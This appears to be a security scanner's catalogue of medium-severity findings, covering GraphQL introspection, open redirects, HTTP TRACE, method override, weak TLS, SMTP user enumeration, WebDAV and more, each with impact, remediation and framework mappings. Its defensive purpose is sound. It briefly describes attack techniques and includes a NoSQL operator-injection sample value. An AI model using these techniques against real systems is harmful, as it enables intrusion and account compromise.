Description: The GraphQL API has introspection enabled, allowing unauthenticated or authenticated clients to query the complete API schema including all types, fields, mutations, subscriptions, arguments, and their descriptions. Introspection provides an attacker with a complete blueprint of the API equivalent to reading the source code, significantly lowering the barrier to discovering sensitive operations, hidden mutations, and exploitable fields. In production APIs, introspection should only be available to authenticated developers.
Remediation: Disable GraphQL introspection in production environments. Most frameworks support a simple configuration flag to disable introspection queries. If introspection must be available to developers, restrict it to authenticated requests from trusted IP addresses or developer accounts. Consider using query complexity analysis and depth limiting in addition to disabling introspection.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-104 — WSDL Enumeration — Service Definition Exposed
Description: Siphon retrieved the WSDL (Web Services Description Language) document for the SOAP service without authentication. A WSDL file is a machine-readable contract that fully describes every operation exposed by the service, including operation names, input/output message schemas, data types, binding protocols, and the service endpoint URLs. Exposure of the WSDL dramatically reduces the effort required for an attacker to enumerate all available operations, craft valid SOAP requests, and systematically test each operation for injection, authentication bypass, or business logic vulnerabilities. In many cases the WSDL also reveals internal naming conventions, data structure field names, and undocumented operations.
Remediation: Restrict access to the WSDL document by requiring authentication before serving the ?wsdl or ?WSDL query parameter response. If the WSDL must be publicly accessible for integration purposes, ensure it does not reference internal-only operations or schema types. Consider maintaining a separate external-facing WSDL that exposes only public operations. At minimum, monitor access to the WSDL endpoint and alert on high-frequency enumeration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: CM-7, CM-6, RA-5
PCI DSS 4: 6.2.4
MEDIUM SI-106 — Unsafe API Consumption — Open Redirect to External URL
Description: Siphon confirmed an open redirect vulnerability where a URL-type parameter accepted by the API is used to construct a redirect response (HTTP 301, 302, or 307) to an arbitrary external destination without validation. An attacker can craft a link to the legitimate API domain with a manipulated redirect parameter pointing to a malicious site, causing a victim who clicks the link to be redirected to an attacker-controlled page. Open redirects are frequently exploited in phishing campaigns because the initial URL appears to belong to a trusted domain, bypassing browser and email security warnings. They can also be chained with SSRF vulnerabilities and OAuth redirect_uri bypass attacks.
Remediation: Validate all redirect target URLs against an allowlist of permitted destination origins before issuing a redirect response. If redirect functionality is required, use indirect references (e.g., opaque tokens mapped to trusted URLs server-side) rather than accepting raw URLs from user input. Never reflect an unvalidated URL from a request parameter directly into a Location response header. Audit all API endpoints that issue redirect responses and confirm each performs origin validation.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A01:2021 Broken Access Control
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-111 — HTTP Methods: Unsafe Methods Enabled
Description: Siphon confirmed that the HTTP TRACE method is enabled on the API server or a specific endpoint. The TRACE method is a diagnostic tool that echoes the received request back to the client, including all request headers. Cross-Site Tracing (XST) is a technique where an attacker combines TRACE with a browser-based XSS or cross-origin request to cause the victim's browser to send a TRACE request, with the echoed response — including HttpOnly cookies and Authorization headers — readable by the attacker's JavaScript. While modern browsers and XHR implementations largely block TRACE, the method's presence indicates insufficient HTTP method restriction and may expose headers through non-browser clients or misconfigured proxies.
Remediation: Disable the HTTP TRACE method in the web server configuration. In Apache, add TraceEnable off to the server configuration. In Nginx, block TRACE with a location block returning 405. In IIS, use the requestFiltering module to block the TRACE verb. At the API gateway or WAF level, configure an HTTP method allowlist restricted to the methods the API explicitly uses (typically GET, POST, PUT, PATCH, DELETE, OPTIONS). Verify the fix with a direct TRACE request confirming a 405 Method Not Allowed response.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
MEDIUM SI-112 — HTTP Method Override Accepted
Description: Siphon confirmed that the API honours HTTP method override headers (X-HTTP-Method-Override, X-Method-Override, X-HTTP-Method, _method) or body parameters that instruct the server to treat an incoming request as a different HTTP method. This behaviour was observed for methods beyond the DELETE-via-POST case, including PUT, PATCH, or other privileged methods. If the API applies access controls at the routing layer based on the HTTP transport method rather than the effective (overridden) method, an attacker can bypass method-based authorization by tunnelling privileged operations through a permitted method. Method override can also be used to invoke methods that are otherwise rejected at the network or firewall layer.
Remediation: Disable HTTP method override support globally unless there is a specific and documented requirement for it, such as supporting legacy clients that cannot send PUT or DELETE. If method override must be retained, enforce that authorization controls are applied based on the effective overridden method, not the transport method. Restrict the set of methods that can be overridden to a minimal allowlist. Log all method override usage and alert on anomalous patterns. At the API gateway, block or audit requests that use method override headers on sensitive endpoints.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
MEDIUM SI-137 — Parameter Type Confusion Accepted
Description: A parameter declared as a scalar type (string/number/boolean) accepted a structurally different JSON type (an array or object) without rejection, indicating the API does not enforce the JSON type of its inputs.
Impact: Type confusion lets an attacker substitute arrays or objects where scalars are expected, which is a primary vector for NoSQL operator injection (e.g. {"$ne": null}), authentication bypass via type juggling, and application logic errors that can corrupt data or escalate privileges depending on how the value is consumed downstream.
Remediation: Enforce strict type validation on every input: reject values whose JSON type does not match the declared schema type, and use schema validators (e.g. JSON Schema / Pydantic) at the API boundary.
Effort: Moderate
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-140 — Unbounded Resource Consumption via Pagination Parameter
Description: A pagination-style parameter (e.g. limit / page_size / count) accepted an extreme value and the API returned a materially larger result set, demonstrating that result-set size is not capped server-side.
Impact: Uncapped result sizes let an attacker force the API to assemble and serialise very large responses, exhausting database, memory, CPU and bandwidth resources and degrading or denying service for other users at low attacker cost; it also amplifies data-exfiltration when combined with broken object-level authorization.
Remediation: Enforce a server-side maximum page size / result-set cap that is applied regardless of the client-supplied value, and return a 400 (or clamp) when the requested size exceeds it.
Effort: Moderate
OWASP API: API4:2023 Unrestricted Resource Consumption
MEDIUM SI-141 — Insecure WebSocket Transport (Unencrypted ws://)
Description: A WebSocket endpoint is served over unencrypted ws:// rather than wss://, so all frames are transmitted in cleartext.
Impact: An attacker on the network path can read and tamper with WebSocket messages, including authentication tokens and session data carried on the socket, enabling session hijacking and message injection.
Remediation: Serve all WebSocket endpoints over wss:// (TLS) and redirect/deny ws:// connections.
Effort: Easy
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-143 — Unauthenticated Server-Sent Events (SSE) Stream
Description: A Server-Sent Events stream (text/event-stream) is accessible without authentication.
Impact: SSE streams commonly push user- or tenant-scoped events in real time; unauthenticated access leaks live data (notifications, records, presence) to any anonymous client and can disclose cross-tenant information.
Remediation: Require authentication and per-subscriber authorization before establishing an event stream.
Effort: Easy
OWASP API: API2:2023 Broken Authentication
MEDIUM SI-146 — Insecure gRPC Transport (Plaintext / No TLS)
Description: The gRPC endpoint accepted a plaintext (non-TLS) connection.
Impact: RPC traffic, including credentials and sensitive payloads, is transmitted in cleartext and can be intercepted or tampered with by a network attacker, enabling credential theft and request/response manipulation.
Remediation: Require TLS for all gRPC endpoints and reject plaintext connections.
Effort: Moderate
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-147 — Application Responses Identify Valid Accounts
Description: The login endpoint returns distinguishable responses (status codes, error messages, response bodies, or timing) for valid vs. invalid usernames. This enables an attacker to enumerate valid user accounts by observing differential responses to authentication attempts with different usernames.
Impact: An attacker can compile a list of valid user accounts, which can then be used for targeted brute-force attacks, credential stuffing, password spraying, or social engineering. Confirmed usernames dramatically reduce the search space for password attacks.
Remediation: Return identical responses (status code, body, headers, timing) for valid and invalid usernames. Use generic error messages like 'Invalid credentials'. Implement rate limiting and account lockout. Use constant-time comparison functions.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1110.001 (Credential Access)
NIST 800-53: IA-5, AC-7
PCI DSS 4: 8.2.1
MEDIUM SI-149 — Improper Input Validation Results in Server Error
Description: An API endpoint returns a 500-series HTTP status code when sent malformed or unexpected input. This indicates the server does not properly validate inputs before processing, allowing unhandled exceptions to propagate to the client. The error response may expose stack traces, internal paths, or framework details.
Impact: Server errors caused by invalid input reveal that the application lacks input validation, potentially exposing information about internal architecture. Repeated 500 errors can also indicate denial-of-service attack vectors through malformed requests.
Remediation: Validate all inputs before processing. Return 400/422 with a structured error response instead of allowing unhandled exceptions. Implement a global exception handler that logs details server-side and returns generic errors to clients.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
MEDIUM SI-153 — Session Tokens Remain Valid After Logout
Description: Cookie-based session tokens remain valid after calling the logout endpoint. The session cookie can be replayed against protected resources and continues to grant access, indicating the server does not invalidate the server-side session record on logout.
Impact: An attacker who captures a user's session cookie (via XSS, network sniffing, or shared workstation) can continue accessing the application even after the user logs out, as the session token remains valid server-side.
Remediation: Invalidate server-side session records on logout. Clear session cookies and rotate session IDs. Implement session binding to prevent token reuse after logout.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1550.004 (Lateral Movement)
NIST 800-53: AC-12, IA-5
PCI DSS 4: 8.2.3
MEDIUM SI-154 — Unhandled Application Exception
Description: An API response contains stack traces, exception class names, debug output, or SQL error messages. This typically occurs on 500-series responses but can also appear in 200 responses with JSON error payloads. The disclosure reveals internal implementation details.
Impact: Exception details expose framework versions, file paths, database schemas, and internal logic that attackers use to craft targeted exploits. SQL error messages specifically reveal database type and schema structure for injection attacks.
Remediation: Implement a global exception handler that returns a generic error message to clients. Log full stack traces server-side only. Disable debug mode and detailed error pages in production.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
NIST 800-53: SI-11
PCI DSS 4: 6.2.4
MEDIUM SI-155 — JWT Token Contains Personally Identifiable Information
Description: JWT access token payload contains personally identifiable information (PII) such as email, phone number, or address. JWTs are base64-encoded (not encrypted), so any party that intercepts or extracts the token can read PII directly.
Impact: An attacker who obtains the JWT (from browser storage, server logs, Referer headers, or MITM) gains access to the user's personal data without needing to call any additional API endpoint. This violates data minimization principles (GDPR Art. 5).
Remediation: Remove PII from JWT payloads. Use opaque tokens or encrypted JWTs (JWE) when personal data must travel with the token. Store user details server-side and look them up by subject claim.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1528 (Credential Access)
NIST 800-53: SC-8, SC-28
PCI DSS 4: 3.4.1
MEDIUM SI-159 — CORS Allows Null Origin
Description: The API reflects 'null' as an allowed CORS origin. Sandboxed iframes, data: URIs, and local files send Origin: null, allowing an attacker to craft pages that read cross-origin API responses.
Impact: An attacker can create a sandboxed iframe that sends Origin: null, which the server accepts. If credentials are allowed, the attacker can read authenticated API responses, extracting user data and tokens.
Remediation: Never whitelist 'null' as an allowed origin. Use an explicit allowlist of trusted origins for CORS.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
OWASP API: API8:2023 Security Misconfiguration
NIST 800-53: AC-4
MEDIUM SI-161 — GraphQL Batching Enabled Without Limit
Description: The GraphQL endpoint accepts batched queries (array of operations) in a single request without enforcing a batch size limit.
Impact: Attackers can bypass per-request rate limits by batching hundreds of queries (e.g., login mutations for credential stuffing) into a single HTTP request, evading IP-based throttling.
Remediation: Disable batching or enforce a maximum batch size (e.g. 5). Count each batched query against the per-user rate limit.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
MEDIUM SI-162 — GraphQL Alias-Based Rate Limit Bypass
Description: The GraphQL endpoint resolves multiple aliased copies of the same field in a single request, allowing attackers to multiply resolver executions and bypass per-request rate limits.
Impact: An attacker can send a single HTTP request with 100+ aliased resolver calls (e.g., 100 login mutations with different credentials), bypassing IP-based rate limits that count HTTP requests, not GraphQL operations.
Remediation: Count each alias as a separate operation for rate-limiting. Implement query complexity scoring that accounts for aliases.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
MEDIUM SI-163 — Information Disclosure: OAuth Token via Endpoint
Description: The OAuth token info/introspection endpoint returns token metadata (scope, audience, user identity) to any bearer of the token without requiring client authentication.
Impact: An attacker with a leaked or stolen token can query the token info endpoint to discover the token's scope, audience, and associated user identity, enabling targeted privilege escalation.
Remediation: Restrict token info endpoints to authenticated clients only. Require client_id + client_secret for introspection requests per RFC 7662.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API2:2023 Broken Authentication
NIST 800-53: AC-3
MEDIUM SI-164 — Postman Collection or Environment File Exposed
Description: Postman collection or environment files are publicly accessible. Collections expose full API endpoint inventory with example requests; environment files may contain API keys, tokens, and secrets.
Impact: An attacker gains a complete API endpoint map with example requests, parameters, and potentially authentication tokens from the Postman environment file, enabling targeted API attacks.
Remediation: Remove Postman collection and environment files from public web paths. Never deploy development/testing files to production servers.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-170 — SSL/TLS Forward Secrecy: Not Supported
Description: The API endpoint's TLS configuration does not offer forward secrecy. Cipher suites without ephemeral key exchange (ECDHE/DHE) leave all recorded API traffic vulnerable to retrospective decryption if the server's private key is later compromised.
Impact: API communications often carry authentication tokens, session data, and sensitive business payloads. Without forward secrecy, an attacker who captures encrypted API traffic and later obtains the private key can decrypt every recorded session retroactively.
Remediation: Configure the API server to use only cipher suites that provide forward secrecy (ECDHE or DHE key exchange). Disable static RSA key exchange. TLSv1.3 mandates forward secrecy and should be preferred.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025 Cryptographic Failures
OWASP API: API8:2023 Security Misconfiguration
NIST 800-53: SC-8, SC-12
PCI DSS 4: 4.2.1
MEDIUM SS-027 — SSL/TLS Ciphers: Obsolete Ciphers
MEDIUM SS-069 — Information Disclosure: Internal IP in HTTP Response
Description: The HTTP response body or headers from a web service contain one or more RFC 1918 private IP addresses (10/8, 172.16/12, 192.168/16). This reveals internal network topology to external observers.
Impact: An attacker can map internal network topology, identify backend hosts behind load balancers or proxies, and use disclosed addresses to craft targeted attacks such as SSRF against internal hosts or lateral movement after initial compromise.
Remediation: Configure web servers and application frameworks to suppress internal IP addresses from HTTP responses. Review error pages, debug output, reverse proxy headers, and application-generated content for private address leakage.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2025 Broken Access Control
MITRE ATT&CK: T1018 (Discovery)
NIST 800-53: SC-8, SI-11
PCI DSS 4: 6.5.6
MEDIUM SS-079 — HTTP Methods: Unsafe Methods Enabled
Description: The web server allows dangerous HTTP methods such as PUT, DELETE, MOVE, COPY, or PROPFIND as reported by the OPTIONS response Allow header.
Impact: PUT can allow arbitrary file upload (including web shells), DELETE can remove files, MOVE/COPY enable WebDAV file manipulation, and PROPFIND discloses directory structure and metadata. These methods may enable remote code execution or data destruction.
Remediation: Disable unused HTTP methods in the web server configuration. For Apache: use LimitExcept directive. For Nginx: return 405 for non-GET/POST methods.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1505.003 (Persistence)
NIST 800-53: CM-7
PCI DSS 4: 2.2.2
MEDIUM SS-080 — HTTP Methods: Unsafe Methods Enabled
Description: The web server responds to HTTP TRACE requests by echoing the full request back, including all headers.
Impact: The TRACE method can be exploited for Cross-Site Tracing (XST) attacks, which combine XSS with TRACE to steal HTTP authentication credentials and cookies even when HttpOnly is set.
Remediation: Disable the TRACE method in the web server configuration. Apache: TraceEnable Off. Nginx: does not support TRACE by default.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: CM-7
PCI DSS 4: 2.2.2
MEDIUM SS-081 — {_status_label} Page Exposed
Description: The Apache server-status or server-info page is publicly accessible, exposing detailed server information including version, uptime, active connections, client IPs, and request URIs.
Impact: Reveals internal IP addresses, active request URIs (which may contain session tokens or API keys), client connections, server configuration details, and loaded modules. This information facilitates targeted exploitation.
Remediation: Restrict access to mod_status and mod_info via Apache configuration (<Location /server-status> Require local </Location>) or disable them entirely.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: SC-28, CM-7
PCI DSS 4: 2.2.2
MEDIUM SS-083 — Debug Endpoint Exposed: {_dbg_label}
Description: A debug or management endpoint (e.g., /actuator, /actuator/env, /debug, /__debug__, /console) is accessible and returns diagnostic information.
Impact: Debug endpoints expose environment variables (which may contain credentials and API keys), database connection strings, application configuration, stack traces, and internal application state. Spring Boot Actuator /env can reveal secrets; H2 Console at /console can enable SQL injection.
Remediation: Disable debug endpoints in production environments. For Spring Boot: restrict actuator endpoints via management.endpoints.web.exposure.include. For Django: set DEBUG=False.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: CM-7, SC-28
PCI DSS 4: 2.2.2, 6.4.1
MEDIUM SS-086 — SMTP Mailing List Enumeration via EXPN
Description: The SMTP EXPN command is enabled and reveals mailing list membership, disclosing valid email addresses and group membership.
Impact: EXPN reveals valid email addresses and organizational group membership, enabling targeted phishing campaigns, social engineering, and password-spray attacks. Combined with VRFY, it provides a comprehensive user enumeration capability.
Remediation: Disable the SMTP EXPN command or restrict it to authenticated sessions. In Postfix: smtpd_expansion_filter. In Sendmail: PrivacyOptions=noexpn.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1589.002 (Reconnaissance)
NIST 800-53: SC-28, CM-7
PCI DSS 4: 2.2.2
MEDIUM SS-087 — SSL/TLS Certificate: Hostname Mismatch
Description: The SSL/TLS certificate Common Name (CN) does not match the hostname used to connect, as reported by testssl.sh.
Impact: A hostname mismatch causes browsers and clients to display security warnings. Users may learn to ignore these warnings, making them vulnerable to man-in-the-middle attacks. The mismatch may also indicate a misconfigured or reused certificate.
Remediation: Obtain a certificate that matches the server hostname in the CN or SAN fields. Use wildcard certificates for multiple subdomains.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-17
PCI DSS 4: 4.2.1
MEDIUM SS-090 — UPnP/SSDP Service Responding
Description: The UPnP/SSDP service responded to an M-SEARCH discovery request, revealing device information and service endpoints.
Impact: UPnP can expose device details and allow port forwarding changes without authentication. SSDP has been used in large-scale DDoS amplification attacks. Device information aids targeted exploitation of known firmware vulnerabilities.
Remediation: Disable UPnP if not required. Restrict SSDP (UDP 1900) via firewall rules to trusted networks only. Disable UPnP on routers and IoT devices.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: CM-7
PCI DSS 4: 2.2.2
MEDIUM SS3-003 — TLS 1.0 Enabled
Description: The server accepts TLS 1.0 connections. TLS 1.0 is deprecated due to known weaknesses including BEAST, POODLE, and weak cipher suites. PCI DSS 3.2+ requires disabling TLS 1.0.
Remediation: Disable TLS 1.0 on the server. Configure a minimum of TLS 1.2. Prefer TLS 1.3.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
MEDIUM SS3-004 — TLS 1.1 Enabled
Description: The server accepts TLS 1.1 connections. TLS 1.1 is deprecated and does not support modern authenticated cipher suites.
Remediation: Disable TLS 1.1. Configure minimum TLS 1.2 with strong cipher suites.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
MEDIUM SS3-008 — Self-Signed TLS Certificate
Description: The server presents a self-signed certificate not issued by a trusted certificate authority. Clients cannot verify the server's identity, enabling MITM attacks.
Remediation: Replace the self-signed certificate with one issued by a trusted CA. For internal services, deploy an internal PKI.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
MEDIUM SS3-013 — SMB Share Accessible (Authenticated)
Description: An SMB share is accessible using provided credentials. The share may expose sensitive files, configuration data, or provide a foothold for lateral movement.
Remediation: Apply least-privilege access controls to all SMB shares. Audit who has read/write access. Remove unnecessary shares.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
MEDIUM SS3-023 — Nuclei: Misconfiguration Detected
Description: Nuclei identified a security misconfiguration in a web application, server, or network service (e.g. debug endpoint enabled, directory listing, overly permissive CORS, missing security headers).
Remediation: Review the specific misconfiguration identified in the evidence field and apply the vendor or CIS hardening guidance.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MEDIUM SS3-024 — HTTP Security Header Missing
Description: One or more recommended HTTP security response headers are absent: Content-Security-Policy, Strict-Transport-Security (HSTS), X-Content-Type-Options, X-Frame-Options, Referrer-Policy, or Permissions-Policy.
Remediation: Add the missing security headers to the web server or application configuration. Implement a strong Content Security Policy. Enable HSTS with preloading.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MEDIUM SS3-026 — Directory Listing Enabled
Description: The web server returns a directory listing when no index file is present. File paths, names, and modification timestamps are exposed to unauthenticated users.
Remediation: Disable directory listing on the web server. Add an index file to directories that must be accessible. Apache: Options -Indexes. nginx: autoindex off.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MEDIUM SS3-041 — Gobuster: Sensitive Path Discovered
Description: Gobuster directory brute-force discovered a sensitive path such as /admin, /backup, /.git, /config, /api/v1, or /.env exposed on the web server.
Remediation: Remove sensitive paths from web root. Restrict access to admin paths via IP allowlist. Ensure .git directories are not served publicly. Audit all discovered paths.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
MEDIUM SS3-053 — SSH Vulnerability: Weak/Deprecated Cryptographic Algorithms
Description: The SSH server advertises support for deprecated or weak cryptographic algorithms in its key exchange, host key, cipher, or MAC algorithm list. This includes algorithms such as arcfour (RC4), 3des-cbc, blowfish-cbc, diffie-hellman-group1-sha1, hmac-md5, and hmac-sha1-96. Use of these algorithms exposes SSH sessions to potential cryptographic attacks and violates current NIST and vendor security guidance.
Remediation: Update the SSH server configuration to restrict offered algorithms. In /etc/ssh/sshd_config set: Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com; MACs hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com; KexAlgorithms curve25519-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
MEDIUM SS3-058 — NFS Directory Listing Accessible
Description: An NFS-mounted export directory listing was successfully retrieved, confirming that the export can be mounted and browsed from the scanning host. The directory contents, file names, permissions, and modification timestamps are visible. This confirms NFS access is possible and that the export is not adequately restricted by client IP, user authentication, or Kerberos-based NFS (krb5 security flavour).
Remediation: Restrict NFS exports to specific authorised client IP addresses. Enable Kerberos authentication for NFS (sec=krb5p). Apply appropriate file permissions within the export. Consider migrating to SFTP or object storage for external file sharing.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1083 (Discovery), T1005 (Collection)
NIST 800-53: AC-3, AC-6, CM-7
PCI DSS 4: 1.3.1, 7.2.1
MEDIUM SS3-060 — SMTP User Enumeration Possible via VRFY
Description: The SMTP server responds to VRFY (verify) commands, allowing an unauthenticated client to enumerate valid email addresses and usernames on the system. The VRFY command returns a 250 OK response for valid addresses and a 550 response for invalid ones. This provides an attacker with a list of valid accounts for targeted brute-force, phishing, or credential stuffing attacks.
Remediation: Disable the SMTP VRFY command. On Postfix: set disable_vrfy_command = yes in main.cf. On Exchange: VRFY is disabled by default but verify. Implement rate limiting and connection throttling on SMTP ports.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 2.2.4
MEDIUM SS3-061 — SIP Extension / User Enumeration
Description: The SIP (Session Initiation Protocol) service responds differently to OPTIONS or REGISTER requests for valid versus invalid extensions, enabling enumeration of valid user accounts and extensions. SVMap or a similar SIP scanner identified valid SIP usernames by observing differential server responses (200 OK vs 403 Forbidden vs 404 Not Found). Enumerated extensions can be targeted for brute-force authentication attacks to gain free VoIP calling or eavesdropping capabilities.
Remediation: Configure the SIP server (Asterisk, FreePBX, Cisco UCM) to return uniform error responses regardless of extension validity. Implement SIP authentication on all extensions. Apply rate limiting and IP blocking for repeated failed registrations. Restrict SIP access to known client networks.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: CM-7, SC-7
PCI DSS 4: 2.2.4
MEDIUM SS3-062 — WebDAV Enabled
Description: The web server has WebDAV (Web-based Distributed Authoring and Versioning) enabled. WebDAV extends HTTP with methods including PROPFIND, MKCOL, COPY, MOVE, LOCK, and DELETE. If write access is granted to unauthenticated or low-privileged users, an attacker can upload arbitrary files including web shells, leading to remote code execution. Even read-only WebDAV can disclose file system metadata and source code.
Remediation: Disable WebDAV if not required. If WebDAV is necessary, restrict it to authenticated users over HTTPS, limit access by IP, and audit PROPFIND and PUT/MKCOL method access in web server logs. On IIS: remove the WebDAV Publishing role feature. On Apache: remove the mod_dav and mod_dav_fs modules.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 2.2.4, 6.2.4
MEDIUM SS3-063 — JetDirect / PJL Printer Accessible
Description: An HP JetDirect or compatible printer management interface (port 9100 / PJL) is accessible from the network. The Printer Job Language (PJL) protocol allows reading and writing the printer file system, retrieving print job history, changing configuration settings, and in some models extracting stored credentials. Unauthenticated access to PJL is a well-known attack vector against printers exposed on corporate networks.
Remediation: Restrict access to port 9100 (JetDirect/RAW printing) using firewall ACLs to authorised print servers only. Disable PJL filesystem access commands in the printer administration console. Enable printer authentication and update firmware. Segment printers on a dedicated VLAN.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 1.3.1, 2.2.4
